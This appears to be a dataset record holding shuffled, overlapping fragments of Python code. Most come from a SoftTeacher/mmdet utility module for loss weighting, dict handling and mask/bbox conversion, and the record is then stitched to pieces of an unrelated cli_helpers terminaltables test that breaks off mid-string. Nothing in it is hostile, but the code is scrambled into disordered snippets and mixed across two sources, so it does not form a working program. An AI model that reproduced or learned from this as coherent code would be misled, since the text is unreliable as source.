endpoint.extend(data_list[i]) return", "return [zero_like(t) for t in tensor_pack] elif isinstance(tensor_pack, Mapping): return", ") if isinstance(weight, Mapping): for k, v in weight.items(): for", "Dict, List import numpy as np import torch from mmdet.core.mask.structures", "] ) return tensors def result2bbox(result): num_class = len(result) bbox", "def dict_select(dict1: Dict[str, list], key: str, value: str): flag =", "(\"loss\" in name): loss[name] = sequence_mul(loss[name], lambda_weight(v)) elif isinstance(weight, Number):", "np.concatenate(mask) else: mask = np.zeros((0, 1, 1)) return BitmapMasks(mask, mask.shape[1],", "lambda_weight(v)) elif isinstance(weight, Number): for name, loss_item in loss.items(): if", "if \"loss\" in name: if not is_match(name, ignore_keys): loss[name] =", "flag = [v == value for v in dict1[key]] return", "Sequence): return a + b else: return None def dict_concat(dicts:", "a + b else: return None def dict_concat(dicts: List[Dict[str, list]]):", "= [np.stack(result[i]) for i in range(num_class) if len(result[i]) > 0]", "def dict_fuse(obj_list, reference_obj): if isinstance(reference_obj, torch.Tensor): return torch.stack(obj_list) return obj_list", "value for v in dict1[key]] return { k: dict_fuse([vv for", "in tensor_pack.items()} elif isinstance(tensor_pack, torch.Tensor): return tensor_pack.new_zeros(tensor_pack.shape) elif isinstance(tensor_pack, np.ndarray):", "from mmdet.core.mask.structures import BitmapMasks from torch.nn import functional as F", "isinstance(tensor_pack, Mapping): return {prefix + k: zero_like(v) for k, v", "None def sequence_mul(obj, multiplier): if isinstance(obj, Sequence): return [o *", "k, v in a.items()} elif isinstance(a, list): assert len(a) ==", "0: label = np.zeros(0, dtype=np.uint8) else: label = np.concatenate( [[i]", "def dict_concat(dicts: List[Dict[str, list]]): return {k: list_concat([d[k] for d in", "from collections import Counter, Mapping, Sequence from numbers import Number", "0] if len(mask) > 0: mask = np.concatenate(mask) else: mask", "0 def pad_stack(tensors, shape, pad_value=255): tensors = torch.stack( [ F.pad(", "keyword in word_list: if keyword in word: return True return", "0: mask = np.concatenate(mask) else: mask = np.zeros((0, 1, 1))", "loss.items(): if \"loss\" in name: if not is_match(name, ignore_keys): loss[name]", "in dicts]) for k in dicts[0].keys()} def dict_fuse(obj_list, reference_obj): if", "len(result[i]) > 0] if len(mask) > 0: mask = np.concatenate(mask)", "isinstance(a, list): assert len(a) == len(b) return [dict_sum(aa, bb) for", "list], key: str, value: str): flag = [v == value", "lambda_weight = ( lambda x: x * (_step_counter[\"weight\"] - 1)", "o in obj] else: return obj * multiplier def is_match(word,", "x: x * (_step_counter[\"weight\"] - 1) / warmup if _step_counter[\"weight\"]", "+ b def zero_like(tensor_pack, prefix=\"\"): if isinstance(tensor_pack, Sequence): return [zero_like(t)", "def is_match(word, word_list): for keyword in word_list: if keyword in", "is_match(word, word_list): for keyword in word_list: if keyword in word:", "in name: if not is_match(name, ignore_keys): loss[name] = sequence_mul(loss[name], lambda_weight(weight))", "def zero_like(tensor_pack, prefix=\"\"): if isinstance(tensor_pack, Sequence): return [zero_like(t) for t", "and (\"loss\" in name): loss[name] = sequence_mul(loss[name], lambda_weight(v)) elif isinstance(weight,", "dict_groups = {k: dict_select(dict1, key, k) for k in group_names}", "else: mask = np.zeros((0, 1, 1)) return BitmapMasks(mask, mask.shape[1], mask.shape[2]),", "else: return a + b def zero_like(tensor_pack, prefix=\"\"): if isinstance(tensor_pack,", "bb) for aa, bb in zip(a, b)] else: return a", "else: warnings.warn(\"Unexpected data type {}\".format(type(tensor_pack))) return 0 def pad_stack(tensors, shape,", "= [d for d in data_list[0]] for i in range(1,", "<reponame>huimlight/SoftTeacher<gh_stars>100-1000 import warnings from collections import Counter, Mapping, Sequence from", "- tensor.shape[1], 0, shape[0] - tensor.shape[0]], value=pad_value, ) for tensor", "shape[0] - tensor.shape[0]], value=pad_value, ) for tensor in tensors ]", "return np.zeros_like(tensor_pack) else: warnings.warn(\"Unexpected data type {}\".format(type(tensor_pack))) return 0 def", "warmup if _step_counter[\"weight\"] <= warmup else x ) if isinstance(weight,", "Counter() def list_concat(data_list: List[list]): if isinstance(data_list[0], torch.Tensor): return torch.cat(data_list) else:", "ignore_keys=[], warmup=0): _step_counter[\"weight\"] += 1 lambda_weight = ( lambda x:", "{k: list_concat([d[k] for d in dicts]) for k in dicts[0].keys()}", "str): flag = [v == value for v in dict1[key]]", "else: loss[name] = sequence_mul(loss[name], 0.0) else: raise NotImplementedError() return loss", "if isinstance(a, dict): assert isinstance(b, dict) return {k: dict_sum(v, b[k])", "else: return None def dict_concat(dicts: List[Dict[str, list]]): return {k: list_concat([d[k]", "if ff], v) for k, v in dict1.items() } def", "dict1[key]] return { k: dict_fuse([vv for vv, ff in zip(v,", "List import numpy as np import torch from mmdet.core.mask.structures import", "list_concat(data_list: List[list]): if isinstance(data_list[0], torch.Tensor): return torch.cat(data_list) else: endpoint =", "np.zeros((0, 1, 1)) return BitmapMasks(mask, mask.shape[1], mask.shape[2]), None def sequence_mul(obj,", "i in range(num_class) if len(result[i]) > 0] if len(mask) >", "assert len(a) == len(b) return [dict_sum(aa, bb) for aa, bb", "k in group_names} return dict_groups def dict_sum(a, b): if isinstance(a,", "else: label = np.concatenate( [[i] * len(result[i]) for i in", "[[i] * len(result[i]) for i in range(num_class) if len(result[i]) >", "return BitmapMasks(mask, mask.shape[1], mask.shape[2]), None def sequence_mul(obj, multiplier): if isinstance(obj,", "= len(result) mask = [np.stack(result[i]) for i in range(num_class) if", "range(1, len(data_list)): endpoint.extend(data_list[i]) return endpoint def sequence_concat(a, b): if isinstance(a,", "import functional as F _step_counter = Counter() def list_concat(data_list: List[list]):", "b): if isinstance(a, dict): assert isinstance(b, dict) return {k: dict_sum(v,", "multiplier for o in obj] else: return obj * multiplier", "dict_concat(dicts: List[Dict[str, list]]): return {k: list_concat([d[k] for d in dicts])", "for v in dict1[key]] return { k: dict_fuse([vv for vv,", "as np import torch from mmdet.core.mask.structures import BitmapMasks from torch.nn", "b): if isinstance(a, Sequence) and isinstance(b, Sequence): return a +", "in range(num_class) if len(result[i]) > 0] if len(mask) > 0:", "num_class = len(result) mask = [np.stack(result[i]) for i in range(num_class)", "tensor_pack] elif isinstance(tensor_pack, Mapping): return {prefix + k: zero_like(v) for", "word_list: if keyword in word: return True return False def", "value=pad_value, ) for tensor in tensors ] ) return tensors", "for aa, bb in zip(a, b)] else: return a +", "= ( lambda x: x * (_step_counter[\"weight\"] - 1) /", "== 0: label = np.zeros(0, dtype=np.uint8) else: label = np.concatenate(", "zip(a, b)] else: return a + b def zero_like(tensor_pack, prefix=\"\"):", "loss_item in loss.items(): if \"loss\" in name: if not is_match(name,", "warmup=0): _step_counter[\"weight\"] += 1 lambda_weight = ( lambda x: x", "* multiplier def is_match(word, word_list): for keyword in word_list: if", "for vv, ff in zip(v, flag) if ff], v) for", "= Counter() def list_concat(data_list: List[list]): if isinstance(data_list[0], torch.Tensor): return torch.cat(data_list)", "aa, bb in zip(a, b)] else: return a + b", "weight, ignore_keys=[], warmup=0): _step_counter[\"weight\"] += 1 lambda_weight = ( lambda", "List[list]): if isinstance(data_list[0], torch.Tensor): return torch.cat(data_list) else: endpoint = [d", "torch.cat(data_list) else: endpoint = [d for d in data_list[0]] for", "ignore_keys): loss[name] = sequence_mul(loss[name], lambda_weight(weight)) else: loss[name] = sequence_mul(loss[name], 0.0)", "warnings.warn(\"Unexpected data type {}\".format(type(tensor_pack))) return 0 def pad_stack(tensors, shape, pad_value=255):", "dicts]) for k in dicts[0].keys()} def dict_fuse(obj_list, reference_obj): if isinstance(reference_obj,", "Mapping): for k, v in weight.items(): for name, loss_item in", "v in dict1[key]] return { k: dict_fuse([vv for vv, ff", "<= warmup else x ) if isinstance(weight, Mapping): for k,", "{ k: dict_fuse([vv for vv, ff in zip(v, flag) if", "t in tensor_pack] elif isinstance(tensor_pack, Mapping): return {prefix + k:", "key: str, value: str): flag = [v == value for", "isinstance(weight, Number): for name, loss_item in loss.items(): if \"loss\" in", "return a + b else: return None def dict_concat(dicts: List[Dict[str,", "tensor.shape[1], 0, shape[0] - tensor.shape[0]], value=pad_value, ) for tensor in", "bb in zip(a, b)] else: return a + b def", "for k in dicts[0].keys()} def dict_fuse(obj_list, reference_obj): if isinstance(reference_obj, torch.Tensor):", "in zip(v, flag) if ff], v) for k, v in", "obj_list def dict_select(dict1: Dict[str, list], key: str, value: str): flag", "tensor in tensors ] ) return tensors def result2bbox(result): num_class", "def list_concat(data_list: List[list]): if isinstance(data_list[0], torch.Tensor): return torch.cat(data_list) else: endpoint", "return [o * multiplier for o in obj] else: return", "if _step_counter[\"weight\"] <= warmup else x ) if isinstance(weight, Mapping):", "Sequence from numbers import Number from typing import Dict, List", "isinstance(tensor_pack, torch.Tensor): return tensor_pack.new_zeros(tensor_pack.shape) elif isinstance(tensor_pack, np.ndarray): return np.zeros_like(tensor_pack) else:", "assert isinstance(b, dict) return {k: dict_sum(v, b[k]) for k, v", "def result2mask(result): num_class = len(result) mask = [np.stack(result[i]) for i", "BitmapMasks from torch.nn import functional as F _step_counter = Counter()", "np.ndarray): return np.zeros_like(tensor_pack) else: warnings.warn(\"Unexpected data type {}\".format(type(tensor_pack))) return 0", "zero_like(tensor_pack, prefix=\"\"): if isinstance(tensor_pack, Sequence): return [zero_like(t) for t in", "_step_counter[\"weight\"] += 1 lambda_weight = ( lambda x: x *", "for tensor in tensors ] ) return tensors def result2bbox(result):", "len(result[i]) for i in range(num_class) if len(result[i]) > 0] ).reshape((-1,))", "i in range(1, len(data_list)): endpoint.extend(data_list[i]) return endpoint def sequence_concat(a, b):", "shape, pad_value=255): tensors = torch.stack( [ F.pad( tensor, pad=[0, shape[1]", "mask = np.concatenate(mask) else: mask = np.zeros((0, 1, 1)) return", "for k, v in dict1.items() } def dict_split(dict1, key): group_names", "a.items()} elif isinstance(a, list): assert len(a) == len(b) return [dict_sum(aa,", "> 0] if len(mask) > 0: mask = np.concatenate(mask) else:", "for d in data_list[0]] for i in range(1, len(data_list)): endpoint.extend(data_list[i])", "np.concatenate(result) if bbox.shape[0] == 0: label = np.zeros(0, dtype=np.uint8) else:", "in word: return True return False def weighted_loss(loss: dict, weight,", "[np.stack(result[i]) for i in range(num_class) if len(result[i]) > 0] if", "import numpy as np import torch from mmdet.core.mask.structures import BitmapMasks", "(k in name) and (\"loss\" in name): loss[name] = sequence_mul(loss[name],", "x ) if isinstance(weight, Mapping): for k, v in weight.items():", "len(result[i]) > 0] ).reshape((-1,)) return bbox, label def result2mask(result): num_class", "def pad_stack(tensors, shape, pad_value=255): tensors = torch.stack( [ F.pad( tensor,", "for i in range(num_class) if len(result[i]) > 0] ).reshape((-1,)) return", "zero_like(v) for k, v in tensor_pack.items()} elif isinstance(tensor_pack, torch.Tensor): return", "1 lambda_weight = ( lambda x: x * (_step_counter[\"weight\"] -", "loss[name] = sequence_mul(loss[name], lambda_weight(weight)) else: loss[name] = sequence_mul(loss[name], 0.0) else:", "sequence_concat(a, b): if isinstance(a, Sequence) and isinstance(b, Sequence): return a", "def result2bbox(result): num_class = len(result) bbox = np.concatenate(result) if bbox.shape[0]", "in data_list[0]] for i in range(1, len(data_list)): endpoint.extend(data_list[i]) return endpoint", "key): group_names = list(set(dict1[key])) dict_groups = {k: dict_select(dict1, key, k)", "dicts[0].keys()} def dict_fuse(obj_list, reference_obj): if isinstance(reference_obj, torch.Tensor): return torch.stack(obj_list) return", "torch.nn import functional as F _step_counter = Counter() def list_concat(data_list:", "numbers import Number from typing import Dict, List import numpy", "Mapping): return {prefix + k: zero_like(v) for k, v in", "list): assert len(a) == len(b) return [dict_sum(aa, bb) for aa,", "bbox = np.concatenate(result) if bbox.shape[0] == 0: label = np.zeros(0,", "tensors ] ) return tensors def result2bbox(result): num_class = len(result)", "in name) and (\"loss\" in name): loss[name] = sequence_mul(loss[name], lambda_weight(v))", "if not is_match(name, ignore_keys): loss[name] = sequence_mul(loss[name], lambda_weight(weight)) else: loss[name]", "mmdet.core.mask.structures import BitmapMasks from torch.nn import functional as F _step_counter", "list_concat([d[k] for d in dicts]) for k in dicts[0].keys()} def", "if isinstance(reference_obj, torch.Tensor): return torch.stack(obj_list) return obj_list def dict_select(dict1: Dict[str,", "dtype=np.uint8) else: label = np.concatenate( [[i] * len(result[i]) for i", "torch from mmdet.core.mask.structures import BitmapMasks from torch.nn import functional as", "Mapping, Sequence from numbers import Number from typing import Dict,", "elif isinstance(tensor_pack, Mapping): return {prefix + k: zero_like(v) for k,", "else: endpoint = [d for d in data_list[0]] for i", "= [v == value for v in dict1[key]] return {", "word: return True return False def weighted_loss(loss: dict, weight, ignore_keys=[],", "endpoint def sequence_concat(a, b): if isinstance(a, Sequence) and isinstance(b, Sequence):", "0] ).reshape((-1,)) return bbox, label def result2mask(result): num_class = len(result)", "k, v in dict1.items() } def dict_split(dict1, key): group_names =", "ff], v) for k, v in dict1.items() } def dict_split(dict1,", "shape[1] - tensor.shape[1], 0, shape[0] - tensor.shape[0]], value=pad_value, ) for", "[ F.pad( tensor, pad=[0, shape[1] - tensor.shape[1], 0, shape[0] -", "if len(mask) > 0: mask = np.concatenate(mask) else: mask =", "b def zero_like(tensor_pack, prefix=\"\"): if isinstance(tensor_pack, Sequence): return [zero_like(t) for", "bbox.shape[0] == 0: label = np.zeros(0, dtype=np.uint8) else: label =", "numpy as np import torch from mmdet.core.mask.structures import BitmapMasks from", "dict, weight, ignore_keys=[], warmup=0): _step_counter[\"weight\"] += 1 lambda_weight = (", "= {k: dict_select(dict1, key, k) for k in group_names} return", "in dict1[key]] return { k: dict_fuse([vv for vv, ff in", "v) for k, v in dict1.items() } def dict_split(dict1, key):", "multiplier): if isinstance(obj, Sequence): return [o * multiplier for o", "BitmapMasks(mask, mask.shape[1], mask.shape[2]), None def sequence_mul(obj, multiplier): if isinstance(obj, Sequence):", "tensor.shape[0]], value=pad_value, ) for tensor in tensors ] ) return", "None def dict_concat(dicts: List[Dict[str, list]]): return {k: list_concat([d[k] for d", "{k: dict_sum(v, b[k]) for k, v in a.items()} elif isinstance(a,", "result2mask(result): num_class = len(result) mask = [np.stack(result[i]) for i in", "in loss.items(): if (k in name) and (\"loss\" in name):", "0, shape[0] - tensor.shape[0]], value=pad_value, ) for tensor in tensors", "for name, loss_item in loss.items(): if (k in name) and", "from torch.nn import functional as F _step_counter = Counter() def", "name: if not is_match(name, ignore_keys): loss[name] = sequence_mul(loss[name], lambda_weight(weight)) else:", "torch.stack( [ F.pad( tensor, pad=[0, shape[1] - tensor.shape[1], 0, shape[0]", "for name, loss_item in loss.items(): if \"loss\" in name: if", "k, v in tensor_pack.items()} elif isinstance(tensor_pack, torch.Tensor): return tensor_pack.new_zeros(tensor_pack.shape) elif", "= sequence_mul(loss[name], lambda_weight(weight)) else: loss[name] = sequence_mul(loss[name], 0.0) else: raise", "isinstance(obj, Sequence): return [o * multiplier for o in obj]", "len(b) return [dict_sum(aa, bb) for aa, bb in zip(a, b)]", "sequence_mul(loss[name], lambda_weight(weight)) else: loss[name] = sequence_mul(loss[name], 0.0) else: raise NotImplementedError()", "* multiplier for o in obj] else: return obj *", "for k in group_names} return dict_groups def dict_sum(a, b): if", "if isinstance(weight, Mapping): for k, v in weight.items(): for name,", "pad=[0, shape[1] - tensor.shape[1], 0, shape[0] - tensor.shape[0]], value=pad_value, )", "+= 1 lambda_weight = ( lambda x: x * (_step_counter[\"weight\"]", "return a + b def zero_like(tensor_pack, prefix=\"\"): if isinstance(tensor_pack, Sequence):", "sequence_mul(obj, multiplier): if isinstance(obj, Sequence): return [o * multiplier for", "F _step_counter = Counter() def list_concat(data_list: List[list]): if isinstance(data_list[0], torch.Tensor):", "return obj_list def dict_select(dict1: Dict[str, list], key: str, value: str):", "return {prefix + k: zero_like(v) for k, v in tensor_pack.items()}", "= np.zeros((0, 1, 1)) return BitmapMasks(mask, mask.shape[1], mask.shape[2]), None def", "zip(v, flag) if ff], v) for k, v in dict1.items()", "else x ) if isinstance(weight, Mapping): for k, v in", "isinstance(tensor_pack, np.ndarray): return np.zeros_like(tensor_pack) else: warnings.warn(\"Unexpected data type {}\".format(type(tensor_pack))) return", "b else: return None def dict_concat(dicts: List[Dict[str, list]]): return {k:", "reference_obj): if isinstance(reference_obj, torch.Tensor): return torch.stack(obj_list) return obj_list def dict_select(dict1:", "elif isinstance(weight, Number): for name, loss_item in loss.items(): if \"loss\"", "in range(1, len(data_list)): endpoint.extend(data_list[i]) return endpoint def sequence_concat(a, b): if", "tensor_pack.new_zeros(tensor_pack.shape) elif isinstance(tensor_pack, np.ndarray): return np.zeros_like(tensor_pack) else: warnings.warn(\"Unexpected data type", "if len(result[i]) > 0] ).reshape((-1,)) return bbox, label def result2mask(result):", "else: return obj * multiplier def is_match(word, word_list): for keyword", "import Dict, List import numpy as np import torch from", "_step_counter = Counter() def list_concat(data_list: List[list]): if isinstance(data_list[0], torch.Tensor): return", "endpoint = [d for d in data_list[0]] for i in", "word_list): for keyword in word_list: if keyword in word: return", "i in range(num_class) if len(result[i]) > 0] ).reshape((-1,)) return bbox,", "dict_fuse([vv for vv, ff in zip(v, flag) if ff], v)", "( lambda x: x * (_step_counter[\"weight\"] - 1) / warmup", "def weighted_loss(loss: dict, weight, ignore_keys=[], warmup=0): _step_counter[\"weight\"] += 1 lambda_weight", "b)] else: return a + b def zero_like(tensor_pack, prefix=\"\"): if", "for d in dicts]) for k in dicts[0].keys()} def dict_fuse(obj_list,", "for t in tensor_pack] elif isinstance(tensor_pack, Mapping): return {prefix +", "Number): for name, loss_item in loss.items(): if \"loss\" in name:", "tensor, pad=[0, shape[1] - tensor.shape[1], 0, shape[0] - tensor.shape[0]], value=pad_value,", "return False def weighted_loss(loss: dict, weight, ignore_keys=[], warmup=0): _step_counter[\"weight\"] +=", "dict_sum(a, b): if isinstance(a, dict): assert isinstance(b, dict) return {k:", "elif isinstance(a, list): assert len(a) == len(b) return [dict_sum(aa, bb)", "dict1.items() } def dict_split(dict1, key): group_names = list(set(dict1[key])) dict_groups =", "np.zeros(0, dtype=np.uint8) else: label = np.concatenate( [[i] * len(result[i]) for", "Sequence): return [zero_like(t) for t in tensor_pack] elif isinstance(tensor_pack, Mapping):", "return tensor_pack.new_zeros(tensor_pack.shape) elif isinstance(tensor_pack, np.ndarray): return np.zeros_like(tensor_pack) else: warnings.warn(\"Unexpected data", "len(mask) > 0: mask = np.concatenate(mask) else: mask = np.zeros((0,", "for o in obj] else: return obj * multiplier def", "mask = np.zeros((0, 1, 1)) return BitmapMasks(mask, mask.shape[1], mask.shape[2]), None", "dict_fuse(obj_list, reference_obj): if isinstance(reference_obj, torch.Tensor): return torch.stack(obj_list) return obj_list def", "prefix=\"\"): if isinstance(tensor_pack, Sequence): return [zero_like(t) for t in tensor_pack]", "isinstance(weight, Mapping): for k, v in weight.items(): for name, loss_item", "in group_names} return dict_groups def dict_sum(a, b): if isinstance(a, dict):", "in range(num_class) if len(result[i]) > 0] ).reshape((-1,)) return bbox, label", "dict) return {k: dict_sum(v, b[k]) for k, v in a.items()}", "+ b else: return None def dict_concat(dicts: List[Dict[str, list]]): return", "d in dicts]) for k in dicts[0].keys()} def dict_fuse(obj_list, reference_obj):", "dict_sum(v, b[k]) for k, v in a.items()} elif isinstance(a, list):", "return None def dict_concat(dicts: List[Dict[str, list]]): return {k: list_concat([d[k] for", "num_class = len(result) bbox = np.concatenate(result) if bbox.shape[0] == 0:", "if isinstance(data_list[0], torch.Tensor): return torch.cat(data_list) else: endpoint = [d for", "group_names = list(set(dict1[key])) dict_groups = {k: dict_select(dict1, key, k) for", "dict_groups def dict_sum(a, b): if isinstance(a, dict): assert isinstance(b, dict)" ]
[ "= [['abc', 1], ['d', 456]] headers = ['letters', 'number'] output", "''' + '\\x1b[31;01m+\\x1b[39;00m' + ( ('\\x1b[31;01m-\\x1b[39;00m' * 10) + '\\x1b[31;01m+\\x1b[39;00m'", "\"\" styles = { Token.Output.TableSeparator: '#ansired', } headers = ['h1',", "\"\"\"Test that *style_output_table()* styles the output table.\"\"\" class CliStyle(Style): default_style", "-*- coding: utf-8 -*- \"\"\"Test the terminaltables output adapter.\"\"\" from", "\"\"\"Test the terminaltables output adapter.\"\"\" data = [['abc', 1], ['d',", "+ '''\\x1b[31;01m+\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m h1 \\x1b[31;01m|\\x1b[39;00m''' + ''' h2 \\x1b[31;01m|\\x1b[39;00m '''", "table_format='ascii') assert \"\\n\".join(output) == dedent('''\\ \\x1b[31;01m+\\x1b[39;00m''' + ( ('\\x1b[31;01m-\\x1b[39;00m' *", "HAS_PYGMENTS: from pygments.style import Style from pygments.token import Token def", "import Style from pygments.token import Token def test_terminal_tables_adapter(): \"\"\"Test the", "| +---------+--------+''') @pytest.mark.skipif(not HAS_PYGMENTS, reason='requires the Pygments library') def test_style_output_table():", "+---------+--------+ | letters | number | +---------+--------+ | abc |", "pygments.token import Token def test_terminal_tables_adapter(): \"\"\"Test the terminaltables output adapter.\"\"\"", "['d', 456]] headers = ['letters', 'number'] output = terminaltables_adapter.adapter( iter(data),", "from cli_helpers.tabular_output import terminaltables_adapter if HAS_PYGMENTS: from pygments.style import Style", "Pygments library') def test_style_output_table(): \"\"\"Test that *style_output_table()* styles the output", "reason='requires the Pygments library') def test_style_output_table(): \"\"\"Test that *style_output_table()* styles", "HAS_PYGMENTS, reason='requires the Pygments library') def test_style_output_table(): \"\"\"Test that *style_output_table()*", "default_style = \"\" styles = { Token.Output.TableSeparator: '#ansired', } headers", "from pygments.token import Token def test_terminal_tables_adapter(): \"\"\"Test the terminaltables output", "import dedent import pytest from cli_helpers.compat import HAS_PYGMENTS from cli_helpers.tabular_output", "assert \"\\n\".join(output) == dedent('''\\ +---------+--------+ | letters | number |", "import unicode_literals from textwrap import dedent import pytest from cli_helpers.compat", "= { Token.Output.TableSeparator: '#ansired', } headers = ['h1', 'h2'] data", "headers, style=CliStyle) output = terminaltables_adapter.adapter(iter(data), headers, table_format='ascii') assert \"\\n\".join(output) ==", "'number'] output = terminaltables_adapter.adapter( iter(data), headers, table_format='ascii') assert \"\\n\".join(output) ==", "data = [['abc', 1], ['d', 456]] headers = ['letters', 'number']", "'\\x1b[31;01m+\\x1b[39;00m' + ( ('\\x1b[31;01m-\\x1b[39;00m' * 10) + '\\x1b[31;01m+\\x1b[39;00m' + ('\\x1b[31;01m-\\x1b[39;00m'", "+ ''' 2 \\x1b[31;01m|\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m Ποσειδῶν \\x1b[31;01m|\\x1b[39;00m''' + ''' b", "+ ('\\x1b[31;01m-\\x1b[39;00m' * 4)) + '''\\x1b[31;01m+\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m h1 \\x1b[31;01m|\\x1b[39;00m''' +", "output = terminaltables_adapter.adapter(iter(data), headers, table_format='ascii') assert \"\\n\".join(output) == dedent('''\\ \\x1b[31;01m+\\x1b[39;00m'''", "+ '\\x1b[31;01m+\\x1b[39;00m' + ('\\x1b[31;01m-\\x1b[39;00m' * 4)) + '''\\x1b[31;01m+\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m h1", "cli_helpers.tabular_output import terminaltables_adapter if HAS_PYGMENTS: from pygments.style import Style from", "456]] headers = ['letters', 'number'] output = terminaltables_adapter.adapter( iter(data), headers,", "iter(data), headers, table_format='ascii') assert \"\\n\".join(output) == dedent('''\\ +---------+--------+ | letters", "\\x1b[31;01m|\\x1b[39;00m''' + ''' 2 \\x1b[31;01m|\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m Ποσειδῶν \\x1b[31;01m|\\x1b[39;00m''' + '''", "from pygments.style import Style from pygments.token import Token def test_terminal_tables_adapter():", "Token def test_terminal_tables_adapter(): \"\"\"Test the terminaltables output adapter.\"\"\" data =", "= terminaltables_adapter.style_output_table('ascii') style_output_table(data, headers, style=CliStyle) output = terminaltables_adapter.adapter(iter(data), headers, table_format='ascii')", "coding: utf-8 -*- \"\"\"Test the terminaltables output adapter.\"\"\" from __future__", "test_terminal_tables_adapter(): \"\"\"Test the terminaltables output adapter.\"\"\" data = [['abc', 1],", "| number | +---------+--------+ | abc | 1 | |", "1], ['d', 456]] headers = ['letters', 'number'] output = terminaltables_adapter.adapter(", "unicode_literals from textwrap import dedent import pytest from cli_helpers.compat import", "table_format='ascii') assert \"\\n\".join(output) == dedent('''\\ +---------+--------+ | letters | number", "terminaltables_adapter if HAS_PYGMENTS: from pygments.style import Style from pygments.token import", "that *style_output_table()* styles the output table.\"\"\" class CliStyle(Style): default_style =", "d | 456 | +---------+--------+''') @pytest.mark.skipif(not HAS_PYGMENTS, reason='requires the Pygments", "\"\"\"Test the terminaltables output adapter.\"\"\" from __future__ import unicode_literals from", "cli_helpers.compat import HAS_PYGMENTS from cli_helpers.tabular_output import terminaltables_adapter if HAS_PYGMENTS: from", "= ['h1', 'h2'] data = [['观音', '2'], ['Ποσειδῶν', 'b']] style_output_table", "* 10) + '\\x1b[31;01m+\\x1b[39;00m' + ('\\x1b[31;01m-\\x1b[39;00m' * 4)) + '''\\x1b[31;01m+\\x1b[39;00m", "* 4)) + '''\\x1b[31;01m+\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m h1 \\x1b[31;01m|\\x1b[39;00m''' + ''' h2", "number | +---------+--------+ | abc | 1 | | d", "'\\x1b[31;01m+\\x1b[39;00m' + ('\\x1b[31;01m-\\x1b[39;00m' * 4)) + '''\\x1b[31;01m+\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m 观音 \\x1b[31;01m|\\x1b[39;00m'''", "the terminaltables output adapter.\"\"\" data = [['abc', 1], ['d', 456]]", "+ ''' h2 \\x1b[31;01m|\\x1b[39;00m ''' + '\\x1b[31;01m+\\x1b[39;00m' + ( ('\\x1b[31;01m-\\x1b[39;00m'", "\"\\n\".join(output) == dedent('''\\ +---------+--------+ | letters | number | +---------+--------+", "utf-8 -*- \"\"\"Test the terminaltables output adapter.\"\"\" from __future__ import", "| abc | 1 | | d | 456 |", "+ ('\\x1b[31;01m-\\x1b[39;00m' * 4)) + '''\\x1b[31;01m+\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m 观音 \\x1b[31;01m|\\x1b[39;00m''' +", "def test_style_output_table(): \"\"\"Test that *style_output_table()* styles the output table.\"\"\" class", "('\\x1b[31;01m-\\x1b[39;00m' * 4)) + '''\\x1b[31;01m+\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m h1 \\x1b[31;01m|\\x1b[39;00m''' + '''", "def test_terminal_tables_adapter(): \"\"\"Test the terminaltables output adapter.\"\"\" data = [['abc',", "if HAS_PYGMENTS: from pygments.style import Style from pygments.token import Token", "library') def test_style_output_table(): \"\"\"Test that *style_output_table()* styles the output table.\"\"\"", "the terminaltables output adapter.\"\"\" from __future__ import unicode_literals from textwrap", "| letters | number | +---------+--------+ | abc | 1", "'\\x1b[31;01m+\\x1b[39;00m' + ('\\x1b[31;01m-\\x1b[39;00m' * 4)) + '''\\x1b[31;01m+\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m h1 \\x1b[31;01m|\\x1b[39;00m'''", "\\x1b[31;01m|\\x1b[39;00m 观音 \\x1b[31;01m|\\x1b[39;00m''' + ''' 2 \\x1b[31;01m|\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m Ποσειδῶν \\x1b[31;01m|\\x1b[39;00m'''", "1 | | d | 456 | +---------+--------+''') @pytest.mark.skipif(not HAS_PYGMENTS,", "from textwrap import dedent import pytest from cli_helpers.compat import HAS_PYGMENTS", "观音 \\x1b[31;01m|\\x1b[39;00m''' + ''' 2 \\x1b[31;01m|\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m Ποσειδῶν \\x1b[31;01m|\\x1b[39;00m''' +", "__future__ import unicode_literals from textwrap import dedent import pytest from", "''' 2 \\x1b[31;01m|\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m Ποσειδῶν \\x1b[31;01m|\\x1b[39;00m''' + ''' b \\x1b[31;01m|\\x1b[39;00m", "Style from pygments.token import Token def test_terminal_tables_adapter(): \"\"\"Test the terminaltables", "terminaltables_adapter.adapter( iter(data), headers, table_format='ascii') assert \"\\n\".join(output) == dedent('''\\ +---------+--------+ |", "pytest from cli_helpers.compat import HAS_PYGMENTS from cli_helpers.tabular_output import terminaltables_adapter if", "= [['观音', '2'], ['Ποσειδῶν', 'b']] style_output_table = terminaltables_adapter.style_output_table('ascii') style_output_table(data, headers,", "table.\"\"\" class CliStyle(Style): default_style = \"\" styles = { Token.Output.TableSeparator:", "style_output_table(data, headers, style=CliStyle) output = terminaltables_adapter.adapter(iter(data), headers, table_format='ascii') assert \"\\n\".join(output)", "== dedent('''\\ \\x1b[31;01m+\\x1b[39;00m''' + ( ('\\x1b[31;01m-\\x1b[39;00m' * 10) + '\\x1b[31;01m+\\x1b[39;00m'", "b \\x1b[31;01m|\\x1b[39;00m ''' + '\\x1b[31;01m+\\x1b[39;00m' + ( ('\\x1b[31;01m-\\x1b[39;00m' * 10)", "+ '\\x1b[31;01m+\\x1b[39;00m' + ('\\x1b[31;01m-\\x1b[39;00m' * 4)) + '''\\x1b[31;01m+\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m 观音", "\\x1b[31;01m|\\x1b[39;00m''' + ''' h2 \\x1b[31;01m|\\x1b[39;00m ''' + '\\x1b[31;01m+\\x1b[39;00m' + (", "+ '''\\x1b[31;01m+\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m 观音 \\x1b[31;01m|\\x1b[39;00m''' + ''' 2 \\x1b[31;01m|\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m", "= \"\" styles = { Token.Output.TableSeparator: '#ansired', } headers =", "2 \\x1b[31;01m|\\x1b[39;00m 